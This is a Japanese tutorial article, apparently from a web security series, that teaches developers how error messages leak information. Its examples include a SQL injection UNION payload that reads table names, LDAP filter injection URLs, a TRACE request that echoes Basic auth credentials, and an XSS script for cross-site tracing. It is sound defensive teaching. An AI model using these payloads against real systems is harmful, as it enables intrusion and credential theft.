他社および他組織のWebサイトなどへのポートスキャンおよびデータの取得などの行為で得た情報を侵入などに悪用するか、または同じ目的を持つ第三者に提供した時点で違法となります。ご注意ください。
本稿の内容を検証する場合は、必ず影響を及ぼさない限られた環境下で行って下さい。
また、本稿を利用した行為による問題に関しましては、筆者および株式会社アットマーク・アイティは一切責任を負いかねます。ご了承ください。
完璧なアプリケーションをいきなり作り上げられる人はまずいないだろう。多くの人はアプリケーション中にデバッグ用のメッセージやコメントを残しながら開発を進めていくことになる。またユーザーにとって重要なのがエラーメッセージである。エラーメッセージを頼りにアプリケーションを利用していく。しかし、ユーザーにとって有用な情報なのだが、同様に攻撃者にも有用な情報を与えてしまうことにもなることがある。今回は、開発者として知っておいてほしい攻撃者に悪用されないためのいくつかの例を紹介する。
次のような画面を見たことがあるだろうか。
〜 WHERE ***=<nameパラメータ> AND users.role = 1 〜
といったSQL文で使われているのではないかと想像できる。それならば、
name=0 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
とするとどうなるだろうか。
エラーメッセージが変わり、
Syntax error converting the nvarchar value 'Customers' to a column of data type int.
となった。この結果から
〜 WHERE ***=0 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- AND users.role = 1 〜
〜 WHERE ***=0 Customers AND users.role = 1 〜
http://www.example.com/cgi-bin/profile?name=kokubu
そしてこのアプリケーション内では、次のようなLDAPサーチフィルタ(検索条件)が発行される。
(uid=kokubu)
これに対して、
http://www.example.com/cgi-bin/profile?name=kokubu)(|(objectclass=*)
とアクセスすると、
(uid=kokubu)(|(objectclass=*))
というサーチフィルタが発行され、objectclass(RDBでいうところのカラム名のようなもの)の一覧が取得できてしまう。
また、
http://www.example.com/cgi-bin/profile?name=*
とアクセスすると、
(uid=*)
$ telnet www.example.com 80 Trying 192.168.0.1... Connected to www.example.com Escape character is '^]'. TRACE / HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.2.1) Gecko/20030225 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1 Accept-Language: ja, en-us;q=0.66, en;q=0.33 Accept-Encoding: gzip, deflate, compress;q=0.9 Accept-Charset: Shift_JIS, utf-8;q=0.66, *;q=0.66 Keep-Alive: 300 Authorization: Basic a29rdWJ1Om1pY2hhaXlhLS0= Cookie: sessionid=5addd3c01848f941496720549ac9af8e Connection: Close HTTP/1.1 200 OK Date: Tue, 19 Aug 2003 14:17:36 GMT Server: Apache/2.0.40 (Red Hat Linux) Content-Length: 559 Connection: close Content-Type: message/http TRACE / HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.2.1) Gecko/20030225 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1 Accept-Language: ja, en-us;q=0.66, en;q=0.33 Accept-Encoding: gzip, deflate, compress;q=0.9 Accept-Charset: Shift_JIS, utf-8;q=0.66, *;q=0.66 Keep-Alive: 300 Authorization: Basic a29rdWJ1Om1pY2hhaXlhLS0= Cookie: sessionid=5addd3c01848f941496720549ac9af8e Connection: Close
最初に送信したリクエストメッセージが、完全な形でレスポンスメッセージに含まれているのが分かる。
攻撃者は、クライアントのブラウザがこのTRACEメソッドを発行するように仕向けてそのレスポンスを奪うことで、Basic認証のパスワードを盗むことができる、というものだ。
XSSの脆弱性を使うことで、攻撃者はユーザーに任意のスクリプトを実行させることができる。では、次のようなスクリプトが実行された場合はどうだろうか。
<script type="text/javascript"> var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); xmlHttp.open("TRACE", "http://www.example.com/",false); xmlHttp.send(); xmlDoc=xmlHttp.responseText; alert(xmlDoc); </script>
←「第3回」へ
「第5回」へ→
国分裕(こくぶ ゆたか)
三井物産セキュアディレクション勤務。セキュリティコンサルタントとして、不正アクセス監視やセキュリティ検査などに従事している。金融機関、官公庁、大手製造業などへのセキュリティシ ステムの導入、セキュリティ 検査などの実績を持つ。
主に、不正アクセス監視サービス、セキュリティ検査、セキュリティポリシー策定支援などのサービス提供している。また、セキュリティに関する教育サービスも実施中。
Copyright © ITmedia, Inc. All Rights Reserved.